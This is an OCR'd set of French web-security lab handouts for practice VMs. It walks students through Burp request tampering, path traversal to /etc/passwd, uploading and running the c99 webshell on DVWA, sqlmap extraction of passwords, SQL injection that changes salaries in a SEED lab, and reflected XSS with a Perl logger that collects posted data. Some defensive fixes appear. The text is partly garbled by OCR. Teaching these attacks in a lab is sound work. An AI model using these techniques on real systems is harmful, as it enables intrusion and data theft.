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RAPPEL MISE EN PLACE

Le logiciel Virtualbox doit étre présent sur votre machine hote. Vous devrez télécharger les
deux images machine et seeds_lab au format ova et les installer.

L'acces réseau des deux VM est en mode Réseau privé hote autorisant la communication entre
chaque VM et votre machine a travers l'interface virtuelle vboxnet. L'adresse de ce réseau est
10.3.120.0/24. La VM "machine" possede par défaut I'adresse 10.3.120.1. La VM seeds_lab a
pour adresse 10.3.120.2.

& Vous devez configurer I’adresse de votre machine hote associée a vboxnet( a
10.3.120.3.

Téléchargez de https://github.com/tennc/webshell/blob/master/php/PHPshell/c99/c99.php le
fichier ¢99.php et le déposer dans votre répertoire d'accueil ( votre machine hote).

Téléchargez également ici le fichier log.pl: https://pastebin.com/luCabwwZ, puis
1. cd /usr/lib/cgi-bin

2. cp 'location of .pl file' 'fust/lib/cgi-bin'

3. chown www-data:www-data log.pl

4. chmod 700 log.pl 5.

S.perl -c log.pl

Vous devez avoir une serveur apache.

1 service apache?2 start

2. service apache?2 status

3. mkdir -p /var/www/html/logs

4. chown www-data:www-data /var/www/html/logs
5. chmod 700 /var/www/html/logs

6. Is -1d /var/www/html/logs

Sur le firefox de la machine hote, il faudra installer les modules complémentaires HTTP
header live et web developper.

Vous devez avoir la suite burp installée sur votre machne hote.
https://portswigger.net/burp/communitydownload

Importer les VM machine.ova et seeds_lab.ova

Créer des instantanés de chaque VM avant de commencer

Dépt SINA Div INF Sub LSI Rappel Mise en Place Page .1.
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VM Machine : user : root mot de passe : toor

User: Despentes: pas de mot de passe
Adresse 10.3.120.1

VM Seeds_lab :  user seeds mdp dees
Adresse IP 10.3.120.2

Cette machine est configurée avec un clavier qwerty..

él Configurer virtualbox de facon a ce que 1’adresse vboxnetO du héte soit 10.3.120.3, pas
besoin d’activer le serveur DHCP

Dans le fichier /etc/hosts du hote il faut ajouter ces deux lignes :
10.3.120.2 www.seedsgl.com
10.3.120.2 www.xsslabelgg.com

Dépt SINA Div INF Sub LSI Rappel Mise en Place Page .2.
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S’AUTHENTIFIER

1 Avant tout

v" Démarrer votre machine hote.

2 Ensuite...

v' Lancez firefox et connectez vous sur http://10.3.120.1.

<

Vous trouvez un menu. Remarquez le lien vers phpmyadmin. (Le login de phpmyadmin
est root et le mot de masse 2fois6=12) .

v Choisir en premier lieu le lien vers websec puis authentification

L v @ | | Q Recherche * B8 4+ &# 6 » =

EMost visited [ ilocalhosl {}Authentification | iComptage [ Formulairet [ iFormulaire2 [ }Sécurité1 »

@ Désactiver» L Cookies v
Index of /

Name Last modified Size Description

resv [EImagesv @Infos+ [EDiversv Entourerv ¢ Fené

(23 authentification/ 2042-02-13 15:51

L) comptage; Z009-05-26 09:52
(23 formulairel/ 2015-06-18 10:19

(3 formulaire2/  2015-06-18 11:24
C3phpmvadmin/ 2013-12-04 18:44

(23 securitel/ 2015-06-18 12:14
(2] securite2/ 2015-06-18 12:59
(I3 securite3/ 2015-06-18 12:18
[Z3 securited/ 2015-06-18 13:33
(£} securite5/ 2015-06-18 13:31
(2] securite6/ 2015-06-18 13:30
(I3 securite?7/ 2015-06-18 13:28

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

Dépt SINA Div INF Sub LSI S’authentifier Page .1.
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3  Ce qu’il faut faire

€ | @ localhost/authentification/ v C| | Q Rechercher B ¥F & O » =

[E most visited » { }localhost {}Authentification {iComptage [ iFormulaire1 {_jFormulairez { }Sécurité1 »

@Désactiverv A Cookiesv # €SS+ [Formulaires~ [EImagesv @Infosv [@Diversv # Entourerv 4 Fené

v" Vous devez trouver quel est le mot de passe...

él ( trouver != deviner)

Voila comment j’ai fait :

v Qu’en concluez-vous ?

Dépt SINA Div INF Sub LSI S’authentifier Page .2.
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UTILISATION D’UN PROXY LOCAL

1 Intro

Le code HTML du formulaire “formulaire2” implémente des types de champ html5 comme
ceux décrits dans le cours. A priori impossible de saisir des données ne respectant pas le
format imposé par le développeur.

Vous pouvez vérifier cela en essayant de saisir n’importe quoi a 1’adresse:
10.3.120.1/websec/formulaire2

2 mise en place du proxy

v Sur votre machine héte lancer le proxy burp.

v' Apreés avoir cliqué I’onglet proxy, vous devez avoir cette fenétre

Burp Intruder Repeater Window Help

[TargetT Prog}t T Spider ] Scanner ] Intruder T F{epeater-] SequencerTDecoder [ Comparer T Options TAIer‘ts ]

j Intercept rl—?story T Options ]

am
=

mward Crap [ Intercept ison | Action

Raw Hex
| &
£
e
v
(24 [ [ || |Type @ search term 0 matches

Le role du proxy Burp est d’intercepter les communications entré\yotre navigateur et le serveur,
a condition toutefois que le bouton intercept soit positionné a « on », ce qui doit étre le cas.
Pour transmettre les données vers le serveur de destination, il faut a chaque étape de 1’échange,
utiliser le bouton forward.

Dépt SINA Div INF Sub LSI Proxy burp
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v' Changer la conf de firefox et ajouter votre proxy local burp dont I’adresse est
127.0.0.1 (localhost) sur le port 8080

AI Noubliez pas de revenir a la normale une fois ce TP terminé

3 Interception et modification

v Dans firefox saisir ’adresse 10.3.120.1/websec/formulaire2 vous devrez avoir ¢a :
4 @ |99~ Q 9

formulaire de saisie

Nom:
Adresse:

Courriel:

Age: |

Er%oyer RAZ

J& Cliquer sur le bouton forward du proxy burp autant de fois que nécessaire pour
faire apparaitre la page illustrée ci avant.

Dépt SINA Div INF Sub LSI Proxy burp Page .2.
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Burp Intruder Repeater Window Help
[Target TFl'-;::-:_—;'T Spider T Scanner I Intruder T Repeater T Sequencer T Decaoder T Comparer T Options TAIer‘ts ]

_[ I|.t-|'-.-|_.tT History T Options ]

Jilocalhost:80 [127.0.0.1]

Drop | [ Intercept is on | | Action Comment this item =% 7]
ard the displayed message to the server / client
GET fHTTR/1.1 A
Host: localhost I’
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; n:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,applicationjxhtml4+xml,applicationfxml;q=0.9,%*,q=0.8
Accept-Language: fr.fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
=3
v
L2 Jl=Jl+t]|= 0 matches

v" Une fois la page formulaire2 atteinte, saisir les champs avec des données valides et
faire « envoyer »

Al ATTENTION : ICI ne pas forwarder

' - C| (43~ Q &

formulaire de saisie

Nom: moi

Adresse: monadresse
Courriel: moi@enac.fr
Age: 22

Er&oyer RAZ

Dépt SINA Div INF Sub LSI Proxy burp Page .3.
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v' Cliquez dans Burp sur I’onglet « Params » :

Burp Intruder Repeater Window Help

fTarget T Proxy T Spider T Scanner T Intruder T RepeaterT Sequencer T Decoder T Comparer T Options TAIerts ]

_[lntercept T History T Options ]

Request to http://localhost:80 [127.0.0.1]

[ Ra(T Parﬂs IHs)ders T Hex ]

Forward ' Drop ' Intercept is on Action Comment this item :: w

POST request to /formulairel/

Body encoding: applicationfx-www-form-urlencoded

.| Value
...... moi -
...... mon adresse Remove
...... moi@enac.fr
...... 22 Up
...... Envoyer

Down

Vous retrouvez les valeurs que vous avez saisies.

v" Modifiez maintenant les données du formulaire validées par le code html5 comme
suit :

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options TAIerts ]

lnterceptT History T Options ]

Request to http://localhost:80 [127.0.0.1]

Raw I Params THeaders THex ]

| Forward || Drop ' | | Intercept is on Action Comment this item s w

POST request to /formulairel/

Body encoding: applicationfx-www-form-urlencoded

1' ;\Iam
- ([ ada |
e mon adresse Remove
| o Jlui%ed0enac.fr i} ;J
...... vingt deux Up
...... Envoyer
Down

Dépt SINA Div INF Sub LSI Proxy burp
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v" « Forwardez » autant de fois que nécessaire :

Burp Intruder Repeater Window Help

[Target T"""“""l" T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options TAIerts ]

Intercept T History T Options ]

Request to http://localhost:80 [127.0.0.1]

Forward ||| Drop | | Intercept is on | Action Comment this item (=% (2
Raw | Parws IHeaders THex ]

POST requesbt\rto fformulairel/

ot i Value I Add

...... lui
...... mon adresse Remove
...... lui@enac.fr
...... vingt deux Up
v s ENVOYET ]

Down

Body encoding: applicationfx-www-form-urlencoded

v Observez le résultat final

( @ localhost + @ |9 Q @

formulaire de saisie

Nom:
Adresse:
Courriel:
Age:

Envoyer RAZ

donnees recues par le serveur :

nom = lui
Residence = mon adresse
courriel = lui@enac.fr N

age = vingt deux

Dépt SINA Div INF Sub LSI Proxy burp Page .5.
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v Conclusion ?

v' Vous pouvez quitter maintenant firefox et le proxy burp.

él Noubliez pas rétablir la conf précédente de firefox une fois ce TP terminé

Dépt SINA Div INF Sub LSI Proxy burp Page .6.
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AFFICHAGE /ETC/PASSWD

1 Introduction

Pour cet exercice il faut utiliser le site « sécurité I ». Le site est écrit en PHP.

A gauche vous trouvez un menu vertical qui vous permet d’accéder aux différentes pages du
site.

2 Attaque

v" Observez comment I’enchainement des pages s’effectue.

Pour cela activez les différents choix du menu de gauche et observez le champ de
saisie/affichage de I’'URL.

v’ Affichez le fichier systéme /etc/passwd dans le navigateur.

3 Défense

Cette attaque est possible car la variable utilisée pour afficher la page n’est pas validée. Vous
devez donc modifier le code de la page index.php en conséquence en vous inspirant du code
suivant :

$pages_autorisees = array('index.html', 'page2.html’, 'page3.html");

if( in_array($page, $pages_autorisees) )

include($page);
b

else

{

echo '<p align="center"> ERREUR : Cette page n\'est pas autoris&eacute;e </p>';

}

Stage Développement Web Sécurisé /etc/passwd Page 7.
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DVWA

1 Introduction

DVWA est I’acronyme de Damn Vulnerable Web Apllication. C’est un outil pédagogique qui
permet d’illustrer un ensemble assez complet de vulnérabilités web.

Dans cet exercice vous allez travailler sur un image virtuelle.

2 Votre mission.....

Vous devez arriver a lancer sur le site cible dvwa le webshell c99.php, en d’autres termes,
afficher la page suivante :

10.3.100.2 - phpshell - Mozilla Firefox

10.3.100.2 - phpshell
& . vC||Q wE 3 A 0 #y =

1c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.8 (Ubuntu) DAV/2. PHP/5.2.4-2ubuntu3.10 *

uname -a: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

Safe-mode:

Jvar/www/dvwa/hackable/uploads/

Free 5.18 GB of 6.94 GB (74.54%)

/ﬁ\ - =¥ E f:\ ﬁ Encoder Tools Proc. FTPbrute Sec. SQL PHP-code Update Feedback Self
remove Logout

Owned by hacker

Listing folder (3 files and 0 folders):

Name & Size 1 ify Owner/Group Perms
LINK
LINK
161.89 KB
1 KB P

667 B 16.03.2010 01:56:22

Select all Unselect all With selected: g

:: Command execute ::

Enter:

:: Shadow’s tricks :D ::

Useful Commands Kemel Info:
Linux metasploitable 2.6.

:: Preddy’s tricks :D ::

Php Safe-Mode Bypass (Read Files) Php Safe-Mode Bypass (List Directories)

eg: /etc/passwd eq: /etc/

Stage Développement Web Sécurisé DVWA Page .8.
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Ne tenez pas compte des adresses |IP mentionnées dans les captures

d’écran. Pour rappel, 'adresse de votre machine héte est 10.3.120.3 et celle
du serveur DVWA est 10.3.120.1.

3 Premiere chose

v Vous devez téléverser (ou télédéposer) le webshell ¢99 sur le site cible grace a la
page « upload »

&| Vous avez récupéré le fichier c99.php comme indiqué en début de TD.

Jysuisarrivéen .... ........

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Mozilla Firefox

[® Damn Vulnerable w... x
& v C| | Q Recherche wBe ¥ A O 2 =

B Most Visited v i GettingStarted EXicones @ ConvertiCO.com-Co... @ 14.04-Unity greeter ...

@Désactiverv & Cookiesv 2 CSSv [AFormulairesv [@Imagesv @Infosv [@Diversv /Entourerv ¢ Fenétrev XOutilsv @

D\WR)

_— | Vulnerability: File Upload

lohieb | Choose an image to upload:

Setup | Parcourir... | Aucun fichier sélectionné.

Brute Force Upload

Command Execution el ./hacka%e/uploads/cQg.up succesfully uploaded!
CSRF

File Inclusion More info

SQL Injection (Blind)

XSS reflected
XSS stored

|
|
|
|
SQL Injection |
|
|
|
|

DVWA Security |
PHP Info |
About |

Logout |

Username: admin
Security Level: low
PHPIDS: disabled

Stage Développement Web Sécurisé DVWA Page 9.
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4  Puis....
La page faillible « command execution » vous sera certainement utile......

Sur I’image suivante on liste le répertoire courant :

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox

Damn Vulnerable W... x

& 2/dvwa/v . v ¢ || Q Reche wBe ¥ A0 =y =
D@
e | Vulnerability: Command Execution
Instructions -
I Ping for FREE
Setup |
Enter an IP address below:
Brute Force | submit
I PING 10.3.100.1 (10.3.100.1) 56(84) bytes of data.
CSRF I 64 bytes from 10.3.100.1: icmp_seq=1 ttl=64 time=0.125 ms
64 bytes from 10.3.100.1: icmp_seq=2 ttl=64 time=0.180 ms
File Inclusion | 64 bytes from 10.3.100.1: icmp_seq=3 ttl=64 time=60.181 ms
SQL Injection | - 10.3.100.1 ping statistics ---
SQL Injection (Blind) | 3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.125/0.162/0.181/0.026 ms
Upload I /var/www/dvwa/vulnerabilities/exec
brute
XSS reflected | aort
XSS stored | -oa
i
sqli
DVWA Secu sqli_blind
rity I upload k?
PHP Info | view_help.php
view_source.php
About | view source all.php
XSS_r
XSS_S
Logout |
More info
Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled -
v A vous de jouer.......

Stage Développement Web Sécurisé DVWA Page .10.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox

Damn Vulnerablew... x

FAY _ . v & [Q Rech "E I A® e =
D@
o . Vulnerability: Command Execution
Instructions =
| Ping for FREE
Setup |
Enter an IP address below:
Brute Force | submit
| PING 10.3.100.1 (10.3.100.1) 56(84) bytes of data.
CSRF I 64 bytes from 10.3.100.1: icmp_seg=1 ttl=64 time=0.178 ms
64 bytes from 10.3.100.1: icmp_seq=2 ttl=64 time=0.181 ms
File Inclusion | 64 bytes from 10.3.100.1: icmp_seq=3 ttl=64 time=0.177 ms
SQCInjaction I - 10.3.100.1 ping statistics ---
SQL Injection (Blind) I 3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.177/0.178/0.181/0.015 ms
Upload | ../../hackable/uploads/«:3
XSS reflected | N
XSS stored |
More info
DVWA Security |
PHP Info ]
About |
Logout |
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

5 Exécuter le shell

Au moins deux facons de faire pour arriver la :
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€

Software: Apache/2.2.8 (Ubuntu) DAV/2. PHP/5.2.4-2ubuntu3.10

uname -a: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Safe-mode:
/var/www/dvwa/hackable/uploads/
Free 5.18 GB of 6.94 GB (74.54%)
- 1 @ a‘\ E Encoder Tools Proc. FTP brute Sec.
remove Logout

Owned by hacker

Listing folder (3 files and 0 folders

Modify Owner/Group

20.05.2012
07.2015
c99.php L C 30.07.2015 05
c99.zip 3 C 30.07.2015 05:14

dvwa email.png 03.2010 01:56:22

Select all Unselect all

:: Command execute ::

:: Shadow's tricks :D ::
Useful Commands

Kernel version v

Waming. Ke may be alerted using higt

:: Preddy’s tricks :D ::

Php Safe-Mode Bypass (Read Files

eg: /etc/passwd

Stage Développement Web Sécurisé

PHP-code

Phy

wa 3 Aa

1c99Shell v. 1.0 pre-release build #16!

Perms

fode Byp

DVWA

Update

Feedback Self

® =

With selected: g

s (List Directories)

ecute

Page 12.
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SQLMAP

1 Introduction
Vous revenez maintenant vers sur le site « sécurité2 ».

Ce site possede notamment un espace réservé aux personnalités (le VIP Room) auquel on
accede apres avoir saisi un nom utilisateur et un mot de passe. L’authentification est gérée par
un formulaire html 1i€ a une base de données MySQL dans laquelle sont stockés les utilisateurs
et les mots de passe.

La page qui nous intéresse plus particulierement maintenant est celle a laquelle on accede en
choisissant « choix commentaire » dans le menu de gauche. Cette page permet de sélectionner
et d’afficher des commentaires auparavant saisis par les utilisateurs du site.

2 Plan du TD

Vous allez pouvoir mesurer dans un premier temps la puissance de 1’outil sqlmap puis mettre
en ceuvre les correctifs nécessaires pour se prémunir des attaques par injection SQL.

1. — Utilisation de sqlmap
3 Sqlmap

3.1 Présentation de I'outil

sqlmap (http://sqlmap.sourceforge.net/) est un outil open source d’injection SQL automatique
en mode ligne de commande. Le script écrit en python détecte et exploite les vulnérabilités de
type injection SQL présentes dans les applications web. Une fois la (ou les) vulnérabilité
trouvée sur la machine cible, 1’utilisateur peut choisir parmi une variété d’options pour
effectuer une identification du SGBD, trouver les utilisateurs et les bases déclarés dans le
SGBD, lister le contenu des tables et colonnes etc ....

3.2 Observations et prise en main

Votre mission est de lister le contenu des noms et mots de passe contenus dans la base de
données. Vous disposez donc pour cela de I’outil sqlmap.

Sqlmap est installé dans le répertoire sqlmap-0.6.4 de votre répertoire d’accueil. Pour I’ utiliser
il faut se déplacer dans ce répertoire. Comme déja précisé, sqlmap est un script écrit en
python et pour afficher la page d’aide il suffit de taper :

python sqlmap.py -h

La page vulnérable que vous allez essayer d’exploiter est accessible par le menu « choix
commentaire » du site localhost sécurité.

v Affichez la page choix commentaire.
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Fichier Edition Affichage Historique Marque-pages Outils Aide

\@ D)v e@ p 4 \/..\‘ *\aa &2 Ju y'a] |C] http://localhost/securite/index.php?page=select-commentaires.php N e '| |' /|

tl.lllll.
Ty e

Stage Développement Web: Applications Dynamiques.

Accueil

i s Choisissez un numéro de commentaire:

commentaires

choix commentaire D
PhpMyAdmin | Lancer la Recherche |
Accés limité

VIP ROOM

Deconnexion

3.3  Préparation de 'attaque

v" Dans le menu Qutils de Firefox lancez la fenétre En-tétes http en direct (live http
Header)

) Page de démarrage Mozilla Firefox - Mozilla Firefox

=

Fichier  Edition  Affichage  Historique  Marque-pages [

Rechercher sur le Web  Chrl-+k

- | Telechargements Chrl+3
@ Disable~ & Cookiest || C55+ 2] Forms~ Ei Imagesi Modules complémentaires

Web Images Maps Actuslités Vidéo Mi

- c _ fa |I'_'_':i_lhtt|:|:,ll,llwww.gl3l3i ‘I'i

A 5 I TN ¢
B . o Resizer ‘31-5’ Tools= f2| Yiew Sourcer L2

i

wWeh Developer 3
User Agent Switcher 3
| B4 Opticns de POF Download

Jaa Console
Fi rEfox Sta rt Console d'erreurs Chrl+Maj+
| Adblock Plus... Cerl+HMaj+E

Informations sur la page

Effacer mes traces...  Cerl+HMaj+Suppr

GOUSie |
| i

Rechercher dans © @ Web O Pages francophones O Pages @ France
[ Recherche Google ]

Opkions

TP e direct | Recherche awancée

Fratérances

Etes-vous un utilisateur avancé de Firefox ? Découvrez |2 prochaine version de Firefox
télécharger Firefox 3.1 béta 3 |

& propos de Mozilla

Terming

v" Dans le champ numéro du commentaire de la page choix commentaire, saisissez une
valeur (par exemple 1)

Dépt SINA Div INF Sub LSI SQLmap

Page .2.



Ecole Nationale de I'Aviation Civile

v' Observez la capture de Live Http Header pour répondre aux questions qui suivent.

En-tétes ] Générateur | Configuration | A propos

En-tétes HTTP
http://localhost/securite/index.php?page=traitement-commentaires.php

> |

POST /securite/index.php?page=traitement-commentaires.php HTTP/1.1
Ho% localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: 1ISO-8859-1,utf-8;,q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/securite/index.php?page=select-commentaires.php
Cookie: identification=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

L.num_com=%271%2B1%27

HTTP/1.x 200 OK
Date: Wed, 08 Jul 2009 05:00:26 GMT

Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.1 with Suhosin-Patch
LY Domarad Rio DUNIS 2 & 2ubhuntud 1

1<

Enregistrer tout... Rejouer... ¥ Capturer Effacer Fermer

v" Quelle est PURL qui va alimenter sqlmap (option -u)?

v" Quelle est la méthode http a utiliser ( --method )?

v" Quel est le nom de variable a donner (--data) ?

Grace aux informations que vous venez de recueillir vous pouvez maintenant utiliser 1’outil
d’injection automatique.
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3.4 Attaque

Fichier Edition Affichage Terminal Aide

root@ines22:~/sqlmap-0.6.4# [+

root@ines22:~/sqlmap-0.6.4# python sqlmap.py -u "http://localhost/securite/ ...
.............. .php" --method ... --data " . =1"

[*] starting at: 14:39:21

[14:39:21] [INFO] testing connection to the target url

[14:39:22] [INFO] testing if the url is stable, wait a few seconds

[14:39:23] [INFO] url is stable

[14:39:23] [INFO] testing if parameter ' ' 1is dynamic

[14:39:23] [INFO] confirming that parameter ' ' is dynamic

[14:39:23] [INFO] parameter ' ' is dynamic

[14:39:23] [INFO] testing sql injection on parameter ' ' with © parent

hesis

[14:39:23] [INFO] testing unescaped numeric injection on parameter ' '

[14:39:23] [INFO] confirming unescaped numeric injection on parameter "

[14:39:23] [INFO] 15 unescaped numeric injectable with @

parenthesis

[14:39:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[14:39:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[14:39:23] [INFO] testing for parenthesis on injectable parameter
[14:39:23] [INFO] the injectable parameter requires @ parenthesis
[14:39:23] [INFO] testing MySOL

[14:39:23] [INFO] confirming My5S0L

[14:39:23] [INFO] query: SELECT 2 FROM information_schema.TABLES LIMIT @, 1
[14:39:23] [INFO] retrieved: 2

[14:39:23] [INFO] performed 13 gqueries in ® seconds

[14:39:23] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: PHP 5.2.6, Apache 2.2.11

back-end DBMS: MySQL >= 5.8.60 =

[#] shutting down at: 14:39:23 t§ —

v" En vous inspirant de la copie d’écran précédente, lancer un premier balayage sur la
base de données.

v’ Interprétez au mieux les résultats.

v' Le site est-il vulnérable ?

U Oui U Non
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v' Grice a la bonne option afficher la liste des bases de données contenues sur le
serveur Mysql.

v' Lister ensuite les tables de la base ma-base

v" Quelle est a votre avis la table qui contient les mots de passe ?

v' Listez les colonnes de cette table

Dépt SINA Div INF Sub LSI SQLmap Page .5.
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Fichier Edition Affichage Terminal Aide

root@ines22:~/sqlmap-0.6.4# I=]
root@ines22:~/sqglmap-8.6.4# python sglmap.py -u "http://localhost/securite/ ...

---------- .php" --method == --data "~ .. =1" -v 8 --columns -T L _.. 3
t

[#] starting at: 14:47:57

[14:47:58] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
web server operating system: Linux Ubuntu

web application technolegy: PHP 5.2.6, Apache 2.2.11

back-end DBMS: MySQL >= 5.8.8

Database: ma-base

Table: .o

[4 columns]

oo m- - +

| Column | Type |

R T e +

| | int(11) [
| | varchar(58) |

| o | varchar(1ea) |

| m | varchar(38) |
Fommmmmm- e e -

[#] shutting down at: 14:48:82 (=

root@ines22:~/sglmap-0.6.4#

v" Toujours en consultant I’aide de sqlmap, listez les nom d’utilisateur et les mot de
passe . (en cas de message d’erreur appelez I’enseignant)

Pour exploiter les vulnérabilités de type injection SQL, sqlmap implémente trois techniques :

+ Injection SQL inductive a I’aveugle, ou encore Injection SQL booléenne a
I’aveugle: sqlmap ajoute au parametre indiqué dans la requéte HTTP, une instruction
SQL syntaxiquement correcte contenant un SELECT, ou bien tout autre instruction SQL
dont I'utilisateur veux récupérer le résultat. Pour chaque réponse HTTP, le script
détermine le résultat de l’instruction caractére par caractere en comparant des
condensats (hash) de contenus page HTML ou de chaines de caracteres avec I'un des
deux résultats attendu par la requéte. C’est la technique par défaut.
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« Injection SQL par requéte d’UNION : sqlmap ajoute au parametre cible , une
instruction SQL syntaxiquement correcte commengant par UNION ALL SELECT. Cette
technique peut étre utilisée si 1’application traite le résultat du select dans une boucle de
facon a ce que chaque ligne retournée soit affichée sur la page web. Sqlmap est
également capable d’exploiter des vulnérabilités d’injection SQL par requéte
UNION partielle (single entry) qui sont présentes quand les données en sorties ne sont
pas traitées dans une boucle itérative; seule la premiere ligne du résultat est alors
visualisée.

«  Support des instructions multiples: Sqlmap teste si [’application web supporte les
requétes multiples puis, dans I’affirmative, il ajoute au parametre cible un point virgule
(;) suivi de I'instruction SQL devant étre exécutée. Cette technique et utilisée pour
lancer une instruction SQL autre qu’un SELECT comme, par exemple, des définitions
de données ou des instructions de manipulations de données. Cela permet 1’acces
(lecture ou écriture) a des fichiers voire I’exécution de commandes du systeme
d’exploitation suivant le type de SGBD install€ et les privileges de I’ utilisateur .
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INJECTION SQL — SEED LAB

Allez sur le site www.seedsgl.com

SQLi Lab - Mozilla Firefox e ® 0
Fichier Edition Affichage Historique Marque-pages  Outils  Aide
SQLi Lab 3R
(&)= @ @& ® & www.seedsql.com e w v IND © & & =

Employee Profile
Login

USERNAME = Username

PASSWORD Password

el il A SR AR

1 Admin connection

4 Connectez-vous en tant que admin.

Ne me demandez pas le mot de passe, je ne le connais pas.

On fait comme ¢a :
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SQLi Lab - Mozilla Firefox e ® O
Fichier  Edition Affichage  Historique  Marque-pages Outils  Aide
SQLi Lab x |+
(&) - C @ ® www.seedsql.com/unsa 50 % v @ v IND © & & =
N Logout
User Details
Username Eld Salary Birthday SSN Nickname Email Address Ph. Number
10000 50000  9/20 10211002
20000 30000 4720 10213352
30000 50000  4/10 98993524
40000 90000 111 32193525
50000 110000 11/3 32111111
99999 400000 3/5 43254314
Copyright © SEED LABs
v Listez les utilisateurs inscrits sur le site ?
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2 Le salaire d’Alice

v Quel est le salaire de Alice ?
SQLi Lab - Mozilla Firefox e ® O
Fichier ~Edition Affichage Historique Marque-pages Outils  Aide
SQLi Lab x |+
(&)= C ® www.seedsql.com/unsaf 50 % .o w Yy IND ©® & @& =

<

Logout

Alice Profile

Key Value
Employee ID 10000
Birth 9/20
SSN 10211002
NickName
Email

Address

Phone Number

Copyright © SEED LABs

3  Une petite augmentation

v Augmentez considérablement le salaire d’Alice

Fastoche :
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SQLi Lab - Mozilla Firefox e @ Q‘
Fichier  Edition Affichage  Historique Marque-pages Outils  Aide
SQLi Lab X |+
(&)= C ® www.seedsql.com/unsaf 60% | eee e Yy IND ® & & =

IAIice Profile I

Key Value
Employee ID 10000
Birth 9/20
SSN 10211002
NickName
Email
Address

Phone Number

4  Boby n’est pas mon ami

Alice n’aime pas son collegue Boby.

v A partir du profil d’Alice, modifiez le salaire de Boby pour le fixera 1

Méme pas mal :

4 Vérifiez que cela a marché :
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SQLi Lab - Moxzilla Firefox e 6 e‘\
Fichier  Edition Affichage  Historique  Marque-pages  Outils  Aide
SQLi Lab XL
(——} c @ @ www.seedsql.com/unsaf 60% | - @ ¥ v IND ® & & =

I Boby Profile I

Key Value
Employee ID 20000
Birth 4/20
SSN 10213352
NickName
Email
Address

Phone Number

v

A v | Toutsurligner Respecterlacasse Mots entiers Occurrence 1surl Bas de la pal
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XSS - DVWA

1 Introduction

XSS = Cross site scripting. C’est de 1’injection de code scripté (ici javascript)

Nous Reviendrons sur le site DVWA pour voir comment il est possible d’en exploiter la faille XSS
reflected qui s’y trouve puis illustrerons les XSS permanent. A partir du site sécurité6

2 PlanduTD

Dans un premier temps, vous essaierez de forcer la voie vers le VIP Room puis vous modifierez le
code pour le rendre plus résistant.

1. — Observations
2. — XSS réfléchi
3. — XSS permanent

3 Observations
Sur DVWA,

v Vérifiez que vous étes en mode ‘low’
4 Cliquez le bouton XSS Reflected

4 XSS réflechi
rm DamnVulnerablew,.. x

€ & 10.3.100.2/dvws - ! T E A e =
'En\-‘h_’l'ﬂ visited = [ localhost I authentification iComplage Formulairet Formiutaire? Sécuritdt [ Sécurité?
@Désactiver~ L Cookies» # 055+ [JFormulaires» BEimages+ @ infos= [EDvers» Entourerv g Fendtrev JOuti
DYWA)

S . Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions

Setup What's your nams?

Skt

Brute Force | 1

Command Execution More info

CSRF

_FI'Ii Inclusion

SQL Injection

SQL Injection (Blind)

Upload |

e 47

XSS stored |

v’ Injectez du code (html ou javascript) simple a partir du champ disponible sur cette page de
DVWA pour avoir la confirmation que I’application est vulnérable

Stage Développement Web Sécurisé XSS Dvwa Page .6.
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v' A votre avis que fait le script cgi écrit en Perl « log.pl » suivant :
#!/usr/bin/perl

#Get Current Date
chomp ($SDATE = “date’);

#Log Directory
Sdir = "/var/www/html/logs";

#Log File
Sfile= "$dir/log.txt";

#Print HTML if tested from a browser
print "Content-type: text/html\n\n";

#0pen Log File in appended mode
open (LOG, ">>$file");

#Collect HTML Post Data
&getDATA;

#Close Log File
close (LOG) ;

sub getDATA

{ # Put the posted data into wvariables
1f (SENV{'QUERY_STRING'} ne "")
{ Sbuffer = SENV{'QUERY_STRING'};
;lsif($ENV{'CONTENT_LENGTH'} ne "")
{

#Read the input stream using the below line
read (STDIN, S$buffer, SENV{'CONTENT_LENGTH'}) ;

}
elsif ($#ARGV > -1)

{
chomp ($buffer = $SARGV[0]);

}

#print "buffer: Sbuffer<BR>\n";

#Place buffer into the array @pairs, delimited by the ";%20"

#A ";" plus "%20" equals a ";" and a space
@pairs = split(/;%20/, Sbuffer);

print "-—————— <BR>\n";
print LOG "———————————m e \n";

SHTTP_REFERER = SENV{'HTTP_REFERER'};
print "HTTP_REFERER: S$HTTP_REFERER<BR>\n";
print LOG "HTTP_REFERER: SHTTP_REFERER\n";

#Enumerate through the @pairs array
foreach $pair (@pairs)

Stage Développement Web Sécurisé XSS Dvwa
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#splits each name/value pair on the equal sign delimiter
